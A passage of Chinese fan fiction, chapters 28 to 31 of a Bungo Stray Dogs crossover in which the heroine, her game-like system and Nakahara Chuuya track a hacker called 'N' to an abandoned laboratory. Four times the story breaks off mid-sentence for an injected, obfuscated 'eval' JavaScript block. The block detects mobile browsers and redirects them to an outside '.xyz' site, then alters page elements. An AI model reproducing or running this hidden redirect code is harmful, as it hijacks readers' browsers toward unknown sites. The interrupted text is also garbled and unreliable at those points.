好问题,永末打开游戏面板,这个倒是现在唯一清晰的东西了,她看了眼当前的状态。 【玩家:永末尚夏[附照片] …… 当前时装:鬼杀队队服(能量不足,暂不可用)………】 大概是战损状态吧。 永末其实感觉没有张嘴的力气,事实上她有种自己动作再大点就又要断电掉线了的谜之预感,但还是本能地强撑着说话,“我……觉得……还……?” 最后一个“好”被堵住了。 中原中也似乎有点被她气笑了,直接拿拆开的东西塞进她嘴里,堵住了她逞能的话。他教训人的气势不高,但手法十足的熟练。 甜味。类似苹果的,很经典的人工甜味。永末活动了一下唇舌,艰难地从血腥味中分辨出了不同。 好像是路边便利店就能买到的那种廉价的棒棒糖。 ……这种糖分摄入,倒是能迅速缓解她现在半死不活的状态。 “好个屁!”中原中也没好气地说道,“之前就是这样,人都失忆了还这样……喜欢逞强这种事,你倒是给我改变一下啊!” “我有给你打过电话吧!这种时候不联系我,是真等着我来给你收尸吗?!”中原中也嘴里骂骂咧咧的,把她往车前座上仿佛放麻袋般地一挂,跨上后座,伸腿蹬了一下,红光登时蔓延上车座。 摩托发出轰鸣的同时,他们瞬间连人带车一道越上了夜空。 “嘎吱。咔。”永末沉默地听着,把顶端的糖球整个咬碎,三秒不到直接整个咽了下去,吐出一根干干净净的小棍。 高效解决完了糖分摄入,她才缓慢开机,视野逐渐清晰起来,这才看得到身侧被不断掠过,拉成虚影的高楼大厦,和已经黑下去的天空。 ……好像已经昏迷过去十几个小时,这是直接睡过去整个白天,步入黑夜了吗? “……我们现在是同伴吧!遇到困难的时候就应该一起面对,难道你觉得我还会不帮你吗?”中原中也没回头,但嘴上还没停,只在说到这里的时候,他微不可查地卡了一下,“……看到你刚才的样子,我差点以为回到第一次见你的时候了。” 永末本来想问“如果森先生不允许呢,你还会帮我吗”,只是想到这话戳破得有点不合时宜,又听到中原中也难得提起了她失忆之前的过去,她立即转换了注意力。 在之前的几个月的相处里,似乎是不想让她对于想不起来的事情有多余的负担,中原中也其实不怎么提他们过去的事情。 “第一次见我的时候……?”永末稍加思索,有点不确定自己当前的形象到底只是灰头土脸还是已经宛如女鬼上身满脸是血。 她谨慎地发问:“是指我当时也混在尸体堆里边等着被捡,还是指我饿死鬼投胎需要江湖救急……?” “……”中原中也被哽了一下,语气更加不好,“……是指你差点死了。” ……啊,还有这回事?感觉更加扑朔迷离了。 “我一点也不记得了,拜托中也能替我回忆回忆……”永末正做出洗耳恭听的样子,却看到摩托似乎正在往下降落,“话说,还没有问……我们这是要去哪里?” “本来是要去见太宰的……”中原中也神情不善地用腿卡住摩托的踏板,在仿佛失速一般的剧烈下坠中,摩托居然还能凭空转了半圈,并在落地前的最后几秒极限降速,平稳地停在了路边的绿化前。 中原中也拉出车钥匙,跃下摩托,仿佛已经锁定了目标的野兽那样锁定了来人,他最后交代了永末一句,往那边走了过去。 “有东西跟来了……我去会一会,车后座还有一整包剩下的,你先吃着等我一下。” * 好在我不怕坐游乐园的过山车……不过这次的体验真的可以消灭一切坐飞行摩托夜间溜风的幻想,真实体感宛如被塞进洗衣机里随时可能进行旋风甩干。 永末想着,平心静气地打开车后盖,从里边掏出跟中原中也反差很大的一袋棒棒糖,没有口味偏好地开始迅速消灭里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840886|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的糖块。 一边嚼碎糖果,她一边看向包装袋上的字眼,确定这应该就是从便利店买到的,价格不超过1500日元的小零食。 也许会是什么他们过去相处的遗留习惯吧? 在她翻来覆去地做出这些琐碎的猜测时,隔壁街道上传来了有人仿佛拿着大楼互殴才会产生的,让人简直怀疑自己身处地震中心。 永末充耳不闻,她完全信任中原中也的武力值,如果他搞不定,那她上去也是送菜。 她只是平静地对着摄入的能量查看面板,直到确认时装的效果再度开启,那些糖分转换成血条,当前异常的状态已经彻底清空。 随着敏锐的五感重新回归,永末这才腾出手处理后续,她从系统空间里头掏出手机,又把仿佛也随着能量不足掉线了的系统从脑子里摇了起来。 不得不说,她感觉自己做这件事居然有种“无他,唯手熟尔”的熟练,可以很顺利地从大脑深处抓起系统的小尾巴。 【呜呜,夏夏,我还以为我们要强行脱离游戏了呜呜……】系统一开机就哭得像个二百斤的大喇叭。 ……看起来它确实把小侦探的提议放在心里了。 但单纯从现在的展开来看,永末还不觉得有逃走的必要。那也许也意味着,她可能还要面对更风雨交加的未来。 永末想到这里,毫无死里逃生后的叙旧之意,活似个适合挂上隔壁路灯的资本家:【好了,工作时间到,先去查查看,之前到底发生了什么?我为什么会遭遇这些事?】 【好的夏夏,都交给我!】系统应声,追着她抛出的指令就跑出去了,过了几秒小狗一样又飞回来,在她耳边报告,【我找到了!夏夏,夏夏!有一个叫“黑羊”的混蛋,在暗网上挂了你的悬赏!】 【三分钟,告诉我他的全部资料。】永末继续做出霸总指令,系统又快乐地去干活了。 她感觉耳朵干净之余,闲闲地检阅起手机里边的未接来电。 港.黑还没有下发叛逃文件的迹象,她还能正常联络上里边的同事,但也没有对悬赏进行处理……从目前的情况来看,森首领似乎是打算先做壁上观……? 这很森鸥外。永末微妙地在心里吐槽,此处的森鸥外是形容词。 永末一路翻到最底部,表情微微凝了凝,为什么没有找到来自太宰的消息。 不管是来电还是短信,一条都没有。 她突然有了一种直觉报警的不详预感,但下一秒,她的手机突然擅自关闭了当前界面,从扬声器中发出了AI合成的陌生男性声音: “啊……找到你了。” 28.第28章 永末微微一愣,迅速理解了现状。 她没有开口说话,只在脑中对系统做出调侃:【难以置信……你这次出游,居然带了小尾巴回来?】 这场面可真是她第一次见,以往系统的行动都宛如网络空间中的一抹幽灵,去哪都好似开着穿墙的外挂。 这次居然被人反向追踪了……作为高维系统来说这可真是大失败吧! 【啊啊啊夏夏!】系统在她脑子里边顿时发出尖锐爆鸣声,似乎也完全没有遭遇过这种事,【我这就去把入侵者杀掉!……对不起明明不应该的!】 系统拍胸脯保证,没过三秒钟就惨遭打脸,【等等不对?!有什么在纠缠我的数据流……!】它说完这句就没声了。 永末微微扬眉,她能感觉得到脑中系统的存在并没有消失,那大概只是被缠住了回归的脚步。 “你触动了我挂在暗网悬赏那边的小机关……所以我就追过来了。” 那个合成的男声在这次无声的搏杀中说道,语气超越永末想象的游刃有余。 但不知道出于什么心情,手机里边的声音颇为恶意地又补充了一句,“……连扫尾工作都做不好,没想到你原来只有这种水平……” 永末眼神微动,品出来了一点异常。 不对,他的语气不对劲。 ……他好像没有察觉到系统本体的存在,也没有察觉这次暗地里的交锋,反而把她当作技术水平糟糕的黑客? 那么……是存在另一个暗中帮忙的对象吗? 这个对象替他找到系统的先前错漏,甚至有余力拽住系统反攻的脚步,让这位仁兄自以为安全,实则是被蒙着眼趟过腥风血雨的战场,还以为自己在度假? 在她的手机对面,不速之客——那位在垃圾房中的青年咬着烟头敲击着键盘,脸上有汗,并不像表现出来那么从容。 他手指如飞地操纵着从前软件库里编辑好的范式程序,屏幕上滚动的自动代码掠过他的瞳孔,在最后一个回车键后,终于依靠植入木马捕获了手机前置摄像的信号,屏幕上映出了永末似乎永远风平浪静的脸。 ……真的是,真的是她!那个家伙!那个毁了他一切的莫名其妙的少女! 青年对于自己入侵的成功有几分难以置信,好像赢了什么的狂喜夹杂着轻蔑油然而生,他按住收音器,没让自己这句话转播出去,对着空无一人的屏幕发泄起来: “只是这样?只是这样?!那你还不像阴沟里的老鼠一样藏好!居然也敢再次出现在我面前!” 青年心神剧震也不过区区十几秒,他并不知道这短短的十几秒有多难得,另一个维度的两团数据流已经互相纠缠渗透、彼此攻防了不知多少兆亿个来回,只为了给他破出一道直达玩家跟前的安全线路。 【夏夏夏夏!……好奇怪,对面好像能完全预料我的反应……再给我点时间!最多,五分钟!】系统终于再度吱声了,它来不及多说,又沉入新的混战。 【……好,我完全信任你。】永末重新把目光投向手机。 秉持拖延时间的心情,她终于说出了现实中的第一句提问,“你是谁?” “是在问我吗?”好像故意地一样,不速之客在她的手机里头把各种软件翻来覆去地打开,虽然里头的重要信息不多,但永末从这份刺探中察觉出了一点压抑已久的怨毒之意。 “不好意思。我应该说,哪里来的藏头露尾之辈?”永末平静改口,手指移向关机按键,似乎随时准备切断电源。 功夫再深也怕菜刀,不行的话,物理关机总能解决目前的问题。 意识到了她的打算,电子音先再度开口了:“等一等,我……是来帮你的人。” 这话谁信谁是傻子。永末想道。 但她状似犹疑地提问了,“你是【黑鸟】吗?” 暗网的悬赏还挂在70亿的档口,里头投入的资金并不是用虚拟的游戏币,而得有确确实实的资产抵押或是金钱转入。 花费了这么大的一笔巨款,【黑鸟】却没有再做出进一步的情报披露,也没有行动组织或者发言的意思,好像并不在意悬赏的结果。 它真的宛如一只抓不住的黑色幽灵,悄然往里头丟下这笔巨款,就沾之即离地不见了。 【黑鸟】的背后,就是这个人吗?永末是不相信的。 “如果一定要一个名字,就称呼我为……‘N’。” 手机屏幕自动打开备忘录,不速之客在里边一个字一个字地打下了一个地址,“现在时间不够,来这里……我们当面说。” 系统就在这个时刻正好回归,或者说,真正的对手之人在这个时刻突然放弃所有纠缠,让它的主数据流顺利脱身。 永末看到手机中的桌宠眼睛亮起,圆溜溜地弹了弹。 【……我回来了夏夏!我这就去找对面这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853529|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙的底细!】 永末于是也应道,“好啊,我们当面说。” 手机对面的青年没有听出里头暗藏的“这就去砸你家门”的意思,也没有察觉系统在虚拟ip中跳转,溯流而上即将探知他的所在之地。 他只是在低头按灭一个烟头的功夫,抬头就发现一切都彻底安静了。 ……整个房间跳闸停电了。 在他要被找上的最后关头。 “晦气。”青年大骂道。 晦气……系统也这么觉得。 它觉得今天实在是太倒霉了,如果不是不存在实体,它现在就要挂在永末的肩上掉金豆豆了,但这不妨碍它用哭声骚扰永末的耳朵,【呜呜呜夏夏夏夏,我又失败了。】 【这个世界,这个世界怎么会有这么强的技术力……呜呜呜……我没找到,呜呜呜。】 永末头疼地捏捏耳垂,“不管怎么说,确实得到了一个线索……虽然那个地址感觉是陷阱的概率更大。” 她微微有点晃神……这一切会是巧合吗? ……并不是巧合。 自称为N的青年所在的居民区一楼,一名穿着不起眼深色快递员制服的人从统一配电箱那头转了出来,他神态自若,完全看不出刚刚干出拉人电闸的坏事。 他的脚步很轻,甚至没有惊动声控灯,一身衣服的颜色也与楼道中的幽暗几乎完美相融,宛如一只黑色的飞鸟,在越过夜空的时刻不会引起任何人的注意。 但在即将步出楼道的时刻,他停步了。 虽然不远处的另外一人没有作声,但他仿佛有特殊的感知技巧,隔着层层垂落的夜幕依旧准确地捕捉到了对方的存在。 他目标明确地转了转脑袋,把应该是正脸的位置转向了被树荫遮蔽的另一人。 太宰治,掌握着港.黑的临时调度大权,本来应该被突然交付下来的麻烦任务牵扯住注意力的准干部,现在却宛如不知何时落下的一枚黑子,突然出现在了棋盘的后方。 太宰独身一人坐在树荫下的长椅上,缓缓将手中暴露了自己的唯一那抹红色,《完全自杀手册》合上,绷带之后的眼睛原本死寂且空洞,现在荡开了一圈轻浮不落地的笑意。 他看向那道黑色的身影,语气轻柔,仿佛有点要喘不上气那样微微一颤,但这份转瞬即逝的真实很快沉在了一如平常的笑音中: “将军。【黑鸟】先生。” 29.第29章 “没有想到会在这里落网吧?‘黑鸟’先生。”太宰这么说着笑了。 他摆出煞有介事的思考表情,好像沉迷游戏的小孩子一般认真,但他却没有像平时面对敌人的时候观察对面的青年,反而把目光垂下,似乎花坛边沿路过的蚂蚁非常有意思一样。 “需要玩一玩无聊的你问我答游戏吗?” “‘怎么会在这里抓到你的?’你问。 ‘因为我也在那份悬赏底下有放鱼钩哦,只是那位‘N’先生在等待小夏小姐撞进来,我在等待你而已。’我答。 毕竟能费心做出那些事情,你也一定有自己的目的,其他不理解的人,只是没有找到你所在意的点而已。” 太宰兴致勃勃地自娱自乐,任由不远处的那道身影沉默地站在楼道出口处,好像一道凝固在壁画上的墨痕。 “‘什么目的?’你问。 ‘保证小夏小姐按照计划走的目的。’我答。” “或者说得明白一点……”他说到这里,轻快地打了个响指,终于吝啬地将脸抬起了一寸,将目光投向了被温暖的黑暗包围,几乎看不清的那个人。 他纤秾的睫毛几乎遮蔽住了眼睛,只留下微笑依然在脸上,“你是在保证小夏小姐按照……我的计划走。” “本身小夏小姐,就一直在我的手心里边,现在这个局面的发展,也尚在我的计划之中……这是一早就定好的计划,但不应该有任何人知道才对,你的所作所为却好像已经完全知道了我会怎么做,甚至插了几手让计划顺利进行下去。” “至于‘你是谁’,‘到底都知道什么’,‘为什么会让森先生失态’,‘接下来还会做什么’……这些问题的答案,都隐藏在这个秘密之下。” “那么,你……”…… 说到最后的一点尾声,太宰游刃有余的声音不明显地停顿了,仿佛他也不知道下一秒自己会提出的问题是什么。 ……因为事实对他来说,其实已经非常明显了。 在还没有确实地用眼睛看见之前,他已经用脑子看见了真相。 “黑鸟”是谁,想做什么,都知道什么,怎么知道的,接下来还会做什么……这些问题的回答都非常清晰明了。 就像这个你问我答的无聊游戏,在太宰来到这里前,他都已经预演到了。 只是,如果不切实地揭开谜题的盖子,是看不见里头的猫咪,是生是死的。 他必须得、必须得……亲眼看到眼前的真相本人。 “我没有想到,你会来这里见我。”黑鸟,看不清面容的青年在楼道中沉吟道,“这里没有其他人,你不是来抓我的。” 他没有表露出恐惧,也似乎不在意被看到真容,甚至抛开了之前隐藏行动间的那种顾忌,慢慢从月色下走出来。 月光如同皇帝的新装,粉饰在他们之间。 在临走出楼道前,彻底被看见之前,黑鸟轻轻抛出了一个问题。 “那么,太宰君,你真的想亲眼确认‘我是谁’吗?” * 永末情不自禁地闭上了眼睛。 两秒之后,她又睁开,眼前的一切没有任何变化。 “…………”她确认不是自己眼花,指向了中也带回来的那个东西,“那个是什么?” “…………”中也回以了同样长度的沉默。 像寻回犬一样跟在他屁股后头的那个东西“咔吧”一下把伸长出去半米的脖子收回了胸腔里头,上下颌也刷地合上了,仿佛又是一个正经的活人了。 那个东西一本正经地自我介绍,“本机是亚当。来自英国的人造智能调查官。如果要说的话,是一款仿生机器人!” “看得出来……”永末一时也无言以对,“活人干不出把脖子变成拉面的那种事……” 【夏夏……这个世界真有这么强的技术力!】脑子里边的系统大为震撼,它发出吭哧吭哧的踌躇声音,扭扭捏捏地说道,【夏夏,我也想要……】 【先想想……】永末无情地说道,【或者你如果搞得到他的图纸或者制造方法,我也可以抽空给你手搓一个。】 “啊,我在表演鸽子!不是拉面!”在她脑内跟系统激烈互动的同时,这个东西还在继续说着怪话,他的自我介绍似乎还没结束,“本机是为了‘魏尔伦’而……唔!” 永末有点讶然地看到中原中也突然跳起来捂住了那个东西的嘴,硬生生把一个大活机器人强行按进水泥地里。 中也有点慌乱地说道,“呃,刚刚就是这个东西在跟着我们,我见到他、他就在胡言乱语!赶又赶不走,拆也拆不掉,我还不能把你一个人丢在这里先走……总之就是、不用管他……!我们还是按照之前的计划行动,先去找太宰!” “唔唔唔唔。”被他按住的仿生人四肢乱摆,随后清晰地从其他部位发出了声音,“中也先生!这样是不能关闭本机的发声系统的!” 永末有点微妙地想,是不是所有人造智能生命都有点缺心眼,但她也不能暴露她脑子里边还有一个对比参考。 好消息是她跟系统的交流信号,似乎跟眼前的这位竞品先生不同频,并不会被他拦截到。 她拿出手机,翻了翻备忘录,举高说道,“如果说计划的话,说起来,我这边有另一个线索……这个地址,你知道吗?” 那边兵荒马乱人仰马翻的场面总算随着她的问题告一段落,中原中也闻言松开手,亚当也一副不觉得被冒犯的样子坐起来,中也对这个地址毫无印象,但好消息是他知道一个人肯定知道。 他掏出手机拨打了太宰的电话。 这次他等待的时间稍微有点久了,太宰接通的时候也稍显沉默,没有听完地址,他直接就说话了,“那个地方……我知道啊。” 中也感觉到了永末往他的方向凑近了些许,似乎也对这个电话有兴趣,但在他准备递给她的时候,她微微对他摇了摇头。 短暂的困惑没有在中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877069|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也心里停留很久,下一秒太宰的话语就夺走了他的注意力,太宰用一种很散漫的语气说,“那里曾经是你的诞生地啊,中也……或者说……” 似乎怕他理解不清楚,那边的太宰一字一顿地清楚地说出了那个词语。 “荒、霸、吐。” “什么?那个地方不是已经……?”所有情绪好像凝固了,中也把目光转向了身边的少女,她的脸上一如既往地看不出来什么。 ……为什么尚夏她会在此刻拿出这样一个地址? 但毫无疑问,得知这个消息的他,已经绝无可能丢开手了。 “啊,或者说,诞生地的复刻?你不会以为那种研究所就只会有一个吧?是,就算搞出了擂钵街的那种大事故,当然也还会有后续的实验进行啊。”太宰说着,把手机往耳侧一夹,好像没有骨头一样在长椅瘫倒。 他当然知道这话会把中也圈入棋局,但本身中也就是这份层层计划中要被套入的一环。 太宰没有心力多话,三言两语地就说完了要说的话语,在换另一个他明明知道应该也在的人接起的时刻,他抢先挂断了通讯。 还有很多麻烦事需要他处理,如果失手的话连横滨都会毁灭吧,好在其他的世界有很多很多不同的处理方式可以给他参考……很多人的生死只在他一念之间,譬如棋会,譬如森先生……但在忙碌的事务堆上他肩膀之前,他还有短短的几分钟可以不被打扰地看月亮。 头顶月明星稀,树荫好像鬼怪的影子落在他身上脸上,太宰看向遥远的,好像永远在那边的月亮。 他想起在刚刚要看清月下那个人的脸时,他选择闭上了眼睛。 * “他现在不想见我。”永末对着空空的话筒,平静地转向中也说道。 但中也皱着眉头低头似乎在想别的事情。 “本机理解这种事情!”亚当抢答道,“是每个月的那个问题对吧!这种时候有情绪起伏是正常的!” 永末被哽了一下,一时难以分辨他是不是在说笑话,刚刚他已经表演了好几个完全听不出来笑点的冷笑话了。 他们正在街道上走着,快到目的地了。中也虽然一直在想别的事情,也不影响他跟着。 即使知道背后有人弄鬼,去的地方有大概率是陷阱,中也似乎也义无反顾地打算陪她,永末觉得他未免好得有点过头了。 不过既然知道是陷阱,对方也不曾限定时限,永末也不打算立即踏入……开玩笑,难道她迟到了,陷阱背后的大魔王还能不等不成? 至少得先让她吃口夜宵修整片刻,永末推开甜品店的门,一袋糖果不怎么够她消耗。 她有点不详地觉得之后说不定还有需要面对追杀的时候。 等第一个巧克力慕斯上桌,永末推到中也跟前时,他才好像从自己的思绪中回神。永末一勺挖下去,就听到他有点犹豫地说话了: “尚夏……你知道我……可能不是人类吗?” 30.第30章 这确实不知道。 永末缓缓把勺子往嘴里送,用平淡的眼神看向眼前的中原中也。 他摆出一副生动的人类表情,自己都没察觉地紧皱着眉头,似乎对于接下来要说的话既为难又犹豫,好像很难得地不确定自己应该组织出什么语言。 跟之前作为mafia前辈指点她要做什么的可靠、总领某个任务交代下属行动细节时候的果决完全不同。 不管从哪里看起来,中原中也跟他身边那个仿生人,和自己脑子里那个小笨蛋都不像同一个产地的。 永末稍加思索,挥了挥勺子,像曾经不明白任务的时候那样,直白地的提出疑问,“那中也你也可以把脖子拉成拉面……?” “那怎么可能啊!”瞬间中也就破功了,他叫道,在店里其他人看过来之前又猛地把脑袋往下一栽,尴尬地放低声音,“我不是那个意思……也没有那么不像人类,我说可能!是可能!……就是,这个事情我也不知道……” “……”永末完全没懂他在纠结什么,她颇为幽默地说道,“那如果把‘可以把脖子拉长半米’作为衡量人类的标准,我判定你是人类了,中也。” 永末说着,心里微妙地想道,不过以这个标准来判断,我是不是人类就很难说了。 拟态到底能不能搞出那种效果…… 再往深里想,去除掉拟态的部分,抛开玩家的部分,属于永末尚夏的内容物,又会是什么呢? 没必要在甜品店思考这么哲学的话题吧。永末微微垂下了眼睛。 “客人您点的草莓奶油小方、芒果千层、长崎蛋糕、轻芝士……”恰在这个时候,服务员过来截断了对话。 桌上转瞬琳琅满目地摆满了五颜六色的点心,永末抛去所有多余的思绪,一边坦然地看着好像想憋出点什么一时又说不出来的中也,一边用手中的勺子扎破奶油小方上的草莓。 “中也想对我说什么?”永末逻辑在线地指出:“就算是证明自己是非人,应该也需要实证的吧?” “……” “我……不会做梦……” 最后传入耳朵的,是这样低声的回应。 “人类,应该是会做梦的吧?我也没有‘过去’的记忆,可能只是,实验室为了控制‘荒霸吐’而被捏造的虚拟人格……”中也紧握着拳头,说出了一直不曾示人的秘密。 他说完,抬头看向永末,她还是一如既往的那张冷淡的脸,好像也不觉得他说出了什么不得了的秘密,又好像是没有理解他的意思。 失忆了和没有失忆,她似乎毫无改变的样子,中原中也有点恍神。 就好像过去对她来说无关紧要。 自己的过去,是中也一直在追寻的事情,最初他也有一部分因为这个理由,才加入的港口mafia。 没有“过去”,没有是否为人的证明……也就失去了一部分存在的意义。中也是这么想的。 他其实不打算把这种事翻开给他人看,原本在羊的时候他也不会把这话到处乱说,但现在他选择说出这个秘密。 一则是因为亚当显然是知情者,而且“魏尔伦”也是为了这个秘密而来,他们看起来就不是会对无关人士保守秘密的类型;二则永末给出的地址跟他的过往有关,显然她也被卷入了关于他的事故里头,所以他必须要告诉永末这一点了,不能让她一无所知地踏入其中。 最后则是……永末也失去了属于自己的过去。 如果他愿意告诉她一点他们相似的问题,也许她就不会因为相同的处境而感觉到孤单了。 “中也先生……是很好的人。”永末把草莓咬破,思索着说道,过去几个月的相处轻轻越过她的脑海,“看起来是很豪爽的性格,不在意身边的人怎么捉弄你,甚至说被作弄的时候反应还很可爱,也不记仇,不管今天对中也先生做过什么过分的事情,过了今天就不会再被报复……” 在她的陈述中,对面的中原中也越来越红温,眼睛也睁得越来越大,不知道是感觉生气了还是感觉害羞了,脸上也浮起番茄的颜色,他叫道,“等下!怎么……你之前是故意的吗?!” “但其实不是这样的,中也先生只是对自己人很好而已,不是完全没有发现,而是以宽大的胸襟纵容了自己人的闹腾。”永末充耳不闻地继续往下说,“一言以蔽之,不管是作为上司、还是同伴,还是朋友,我都觉得中也是很好很好的人……大概是永远不会后悔跟你认识的那种‘很好’。” “不是!够了!够了吧!”中也挥手用手背遮住了脸,“怎么这么突然……我们刚刚不是在说这个吧!” “哦,好,我们在聊中也觉得自己是个假人的事情。那么我来说说我的看法,这样金子般的灵魂如果只是模拟出来的,我不相信。”永末话锋一转,指向了在边上研究芒果千层的亚当,仿生机器人闻言仰起一无所知的脸,“你看看那个……那个才是虚拟人格的水平。” 她想到自家脑子里那个笨蛋,十分诚恳道,“其实人类的定义非常宽泛,我觉得把自己当作人类就是人类了,不过如果中也一定要一个证明……” “我们这不是就是在去寻找实证的路上吗?” * 实证表示你们来得太迟了。已经迟了好几年。 两个半小时后,被飞行摩托运送到郊区的二人二机组合,面对了目的地……或者这个地方可以被称呼为废墟。 不仅仅是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881222|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为外边的障眼法建筑已经惨遭时间的腐蚀,变成类似废墟的结构,更糟糕的是,通往地下的电梯结构也已经坏掉了。 明明应该是保密的地下电梯,但其中的线路和钢材都已经暴露出来,不必寻找在外侧就能看到,上头还有惨遭爆破的焦痕,显然已经失去了运载的功能。 中也和永末都没有说出心里的怀疑,倒是亚当大大咧咧地说话了,“这里都没有人类活动的痕迹……这个地方已经废弃了吧?” “不管怎么说……既然有往下的通路,也有说会在这里等候的神秘人士……”永末看着曾经是电梯井的地方……现在宛如深渊的入口,说道,“来都来了……” “……已经到这里了,就算是陷阱也把它打穿!”中原中也没有表露出沮丧,短暂沉默后他露出狂气的笑容,他摘下手套,蹲下身,用手指接触地面。 “走吧——!” 转瞬之间,地面塌陷了,宛如过山车一般,他们一行人被红光所包裹着,一路被重力所推动,往最深处的建筑内部冲了出去。 “哇唔——这是‘冒险’、‘冒险’吗?”在无保险装置的过山车体验中叫得最响的,是最耐摔的机器人亚当。 …… “所以果然还是没有人在……不过从结构上来说,确实是秘密实验室……” 半分钟后,二人二机一同坠落在迷宫一样的走廊里头,亚当爬起来,看了看四下里头格局一致的封闭走廊说道。 “不过这里到处是秘密空间,本机的扫描也有阻隔……有人藏匿在其中,特意做过掩饰也会看不出来的。”他又很快地补充道,“那么只能通过肉眼去看了吧!” “反入侵的系统还在运作……”永末叫脑中的系统去试探了几个来回,意识到攻破全部防火墙的时间会有点超限……如果单纯以手机作为基站,要侵入攻破这个地方,可能还需要准备一段时间。 正在这个时候,她乍然听到了从墙壁内侧传来广播开启的滋滋声。 “抱歉,稍等一下…哈哈。毕竟这里的设施已经废除了……强行启动这些老旧的系统还是花了人一点功夫的。” 这次的声音不是经过处理的机械声音,而是听起来很寻常的青年声线。 于此同时,他们所在通道的那一侧,铁门应声弹开,好像邀请一样冲他们展露了内在胃袋。 “咦?本机……”“装神弄鬼!?”“N……?” 面对他们的不同反应,广播中的青年哈哈一笑,“没想到你还买一送一地带来了中也君……请进,请进……” “好久没有迎接新的客人了……从哪里说起呢,你们有很多疑惑吧,谜底已经在你们跟前了,只要进来就可以了。” 31.第31章 “明明说是迎接客人,但自诩东道主的人却没有出来欢迎的架势……能把‘前方是陷阱’说得这么明显的,你还是第一个。” 看着被神秘人士打开的通路,永末不为所动地试探道。 “本机深表赞同。” “啊啊,哪里需要这么麻烦!”中原中也压响了指关节,似乎有红色的光从他的身上透出,“把这家伙从老鼠洞里掏出来,就无所谓有什么陷阱了吧!” 但在他要做出什么之前,广播里传来了新的话语。 “不出来迎接客人,是因为……我个人的不便。”那个声音说到这里的时候,似乎难以压制住某种冲动,显得有点走音。 但他接下来的话,压中了他们行动目的的核心。 “要是暴力摧毁谜题……不管是悬赏,还是……‘荒霸吐’的秘密,就都无法得知了。” “……”永末看到中也的神色有所波动,不等他做出决断,先一步迈入通路。 “我相信在中也的身边,没有陷阱可以奏效,所以也不妨大胆一点。” “……我不会让人伤害你的。”中也停了一停,跟上保证道。 偏偏在他们迈入之后,身后的铁门迅速地合拢了,正好把迟了一步的仿生人亚当关在了外边。 “欸等一下!你们漏掉了本机……!” “不好意思,虽然现在已经离开了研究所,但我也没有大方到可以把国家机密给外国势力尽情参观。”在不断拍门的声音中,广播如是解释道。 ……废墟哪里有值得保密的国家机密啊。永末腹诽,但毕竟跟亚当也才刚刚见面不足24小时,她也没进行反驳。 他们顺着其中唯一亮起的光源往下走,耳边只有通风管道的噪音,空气似乎也随着高度显得有点混浊,让人头晕目眩。不知经过多少曲折的岔道,他们最后来到的是一个类似外星人实验室的奇妙空间。 门在背后合拢,房间里头曾经应该有过的各种实验器材,现在只剩下空空的落灰的痕迹,墙壁上到处都是被破坏后暴露出来的接线,这些接线在中间汇聚成一个类似“茧”的,已经毁坏的机器。 而在那个“茧”的边上,则是一路上只出现声音,在此刻终于现身的“N”。 他正坐在一辆看起来颇为简陋的轮椅上头,眼神中似有着压抑的热切,其余全被他脸上的类似氧气罩的维生机器所遮掩了。 ……永末不认为对方会真的是个残疾人,但现在也不能真的把他从轮椅上拖下来验证。 “抱歉,不得不这么见你们,如你们所见,我实在无力起身迎接。”N的声音现在显得十足冷静,似乎之前那种莫名的冲动已经完全被他控制住了。 永末注意到他只在最开始的那个时刻,用仿佛收不回来的眼神看了她一眼,之后就再也没有朝她转过脸来。 N说话时,呼气打在氧气罩上,弥散的白雾让他的表情显得不甚分明,“这里应该很眼熟吧,中也君,毕竟你也可以说是在这里诞生的。” “……”中也的眼神似乎真的有所恍惚,他仿佛忍耐一样有点摇晃着,“……我……我记得。” “曾经这里寄宿着你的‘原型’……”N说着,敲了敲“茧”上已经破碎的玻璃罩,“不过他已经遗失了,不必多说……我以他的身体设计了你。” “……你的意思,还是我并非人类。”中原中也在几秒后从回忆里头回神,用听不出来信不信的语气说道。 